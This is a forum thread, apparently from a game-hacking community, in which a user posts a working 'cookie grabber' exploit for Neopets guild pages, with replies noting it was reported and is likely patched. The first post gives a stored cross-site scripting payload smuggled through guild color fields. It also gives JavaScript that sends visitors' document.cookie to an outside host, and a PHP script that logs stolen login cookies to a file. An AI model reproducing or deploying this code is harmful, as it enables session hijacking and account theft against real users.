Results 1 to 3 of 3

Thread: [JS] Working onsite CGer

  1. #1
    Josh's Avatar
    Joined
    Dec 2011
    Posts
    415
    Userbars
    2
    Thanks
    25
    Thanked
    378/143
    DL/UL
    82/6
    Mentioned
    120 times
    Time Online
    17d 9h 48m
    Avg. Time Online
    5m

    [JS] Working onsite CGer

    TNT PATCH THIS ALREADY. Im tired of it existing

    I will not explain how to use this. Figure it out yourself. I will explain how it works.

    Really, this is just me proving CGers can still exist, though they are extremely hard to make at this point. And kinda pointless, since messing with active accounts never works out

    Explained:

    TNT doesnt censor the color hex codes for guild layouts. But the problem is, the space is limited, so we have to use multiple of the color hex codes for it to work. Problem with this is, it means the javascript is broken up, which in return will mess up the HTML of the page. They way we fix this is by adding something to the page that we can later replace to fix the code.

    Code:
    guild_desc=ellomeepsmeeps
    We originally make the guild description "ellomeepsmeeps", and later replace meepsmeeps with tags to close out the script. Same has to be done in the welcome message
    Code:
    var cg = meep.replace("meepsmeeps", "\"></script> Description here");
    var cg = cg.replace("meepsmeeps", "\"></script> " + layout + cger);

    Actual code:

    Guild layout thingy:
    Code:
    action=process_prefs&guild_hood=Battle+Dome&guild_name=avatars+are+awesome&guild_desc=ellomeepsmeeps&guild_welcome=" src="http://meeps.site.net/meep.png/"meepsmeeps&guild_status=yes&presets=&guild_bgcolor=&custom_bg=%23FFFFFF&guild_header_text=&custom_htext=%23000000&guild_text=&custom_mtext=#000000"><script a=&guild_link=&custom_link=%23000000&guild_mainborder=&custom_mborder=%23FFFFFF </script>&guild_secborder=&custom_sborder=%23FFFFFF
    PHP:
    Code:
    <?
    
    function getbetween($content, $start, $end)
    {
        $r = explode($start, $content);
    
        if (isset($r[1]))
        {
            $r = explode($end, $r[1]);
            return $r[0];
        }
    
        return '';
    }
    
    
    $item = $_GET['meeps'];
    $myFile = "mycookiesnotyoursasshole.txt";
    $fh = fopen($myFile, 'a') or die("can't open file");
    $neologin = getbetween($item, "neologin=", ";");
    
    $stringData = $neologin . "\n\n\n";
    fwrite($fh, $stringData);
    
    fclose($fh);
    ?>

    js:

    Code:
    var layout = "<style \/>\r\n\r\nbody{background: #FFFFFF url(\'http:\/\/sunnyneo.com\/guild\/GLD_maraqua_bg.jpg\')}\r\nbody, td, p, font{font:8pt Georgia;color: #000000;}\r\n#main a{font:8pt Georgia;color:#2E5D4A;font-weight:bold;text-decoration:none}\r\n#main a:hover{color:#077173;}\r\n#main b{color:#1D6887}\r\n#main u{color:#077173}\r\n#main i{color:#0ABEBC}\r\n#content {width:1020px}\r\nh1{border-bottom:1px dotted #14B8C0; margin-bottom:2px;text-align:center;}\r\n#ht{color:#095357; font-size:14pt; font-family:georgia; text-transform:uppercase; text-align:center;}\r\nul{padding-left:40px}\r\n#header, #footer, .sidebar {display:none;width:100px}\r\n#n, td, table { background: transparent; }\r\n#ban {display:none;}\r\n#main {margin-top:0px; margin-left:0px;}\r\n#main {border:none; background:none;  width:500px; float:left;  padding-top:0px; padding-left:0px;}\r\n.content {background:none;}\r\n<\/style \/>\r\n\r\n<div style=\"position:absolute;top:0px;left:0px;width:165px;height:84px;\">\r\n<img src=\"http:\/\/sunnyneo.com\/guild\/GLD_maraqua_img1.jpg\" id=\"pic1\" width=\"165\" height=\"84\">\r\n<div style=\"position:absolute;top:0px;left:165px;width:603px;height:441px;\">\r\n<img src=\"http:\/\/sunnyneo.com\/guild\/GLD_maraqua_img2.jpg\" id=\"pic2\" width=\"603\" height=\"441\">\r\n<\/div>\r\n\r\n<div style=\"z-index:2;position:absolute;top:440px;left:661px;width:105px;text-align:center;\">\r\n<h1><font id=\"ht\">Links<\/font><\/h1>\r\n<a href=\"http:\/\/www.neopets.com\/myaccount.phtml\">My Account<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/customise\/\">Customise<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/gameroom.phtml\">Games<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/explore.phtml\">Explore<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/nf.phtml\">News<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/community\/index.phtml\">Community<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/objects.phtml\">Shops<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/mall\/index.phtml\">NC Mall<\/a><br><a href=\"http:\/\/nc.neopets.com\/membership\">Premium<\/a><br><a href=\"http:\/\/www.sunnyneo.com\">SunnyNeo<\/a><br>\r\n<br>\r\n\r\n<\/div>\r\n<div style=\"z-index:2;position:absolute;top:440px;left:166px;width:490px;\">\r\n<h1><font id=\"ht\">Welcome to the Guild!<\/font><\/h1>\r\nNew guild. Working on getting things together. :P\r\n<h1><font id=\"ht\">News and Updates<\/font><\/h1>\r\nNews and updates here\r\n<h1><font id=\"ht\">Council Chat<\/font><\/h1>\r\nCouncil Chat here<\/div>"
    var cger = "<img src=http://site.com/meep.png/cg.php?meeps=" + escape(document.cookie) + ">"
    
    var meep = document.body.innerHTML;
    var cg = meep.replace("meepsmeeps", "\"></script> Description here");
    var cg = cg.replace("meepsmeeps", "\"></script> " + layout + cger);
    
    var cg = cg.replace("<=\"\" font=\"\">", "");
    
    document.body.innerHTML = cg;
    Last edited by Josh; 03-22-2014 at 02:55 AM.

  2. The Following 8 Users Say Thank You to Josh For This Useful Post:

    AskJeeves (08-09-2014),Demetri (03-22-2014),fairydust201 (04-01-2014),h t x (03-27-2014),Miri (03-24-2014),parakeet (03-23-2014),Rambo (03-22-2014),Sociopath (03-22-2014)

  3. #2
    Josh's Avatar
    Joined
    Dec 2011
    Posts
    415
    Userbars
    2
    Thanks
    25
    Thanked
    378/143
    DL/UL
    82/6
    Mentioned
    120 times
    Time Online
    17d 9h 48m
    Avg. Time Online
    5m
    A solution for your issue has been suggested.

    Hey - thanks. We're looking into this now.

    -Tony

    Tony P., The Neopets Team
    Most likely either already patched, or will be patched soon

  4. The Following User Says Thank You to Josh For This Useful Post:

    Zachafer (03-29-2014)

  5. #3

    Joined
    Feb 2012
    Posts
    70
    Thanks
    3,108
    Thanked
    2,505/1,626
    DL/UL
    127/0
    Mentioned
    575 times
    Time Online
    62d 4h 17m
    Avg. Time Online
    21m
    Quote Originally Posted by Josh21227 View Post
    Most likely either already patched, or will be patched soon
    Tony P just came in his pants no doubt for the help


    Sent from my iPhone using Tapatalk

  6. The Following User Says Thank You to Naked Gamer For This Useful Post:

    AskJeeves (08-09-2014)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •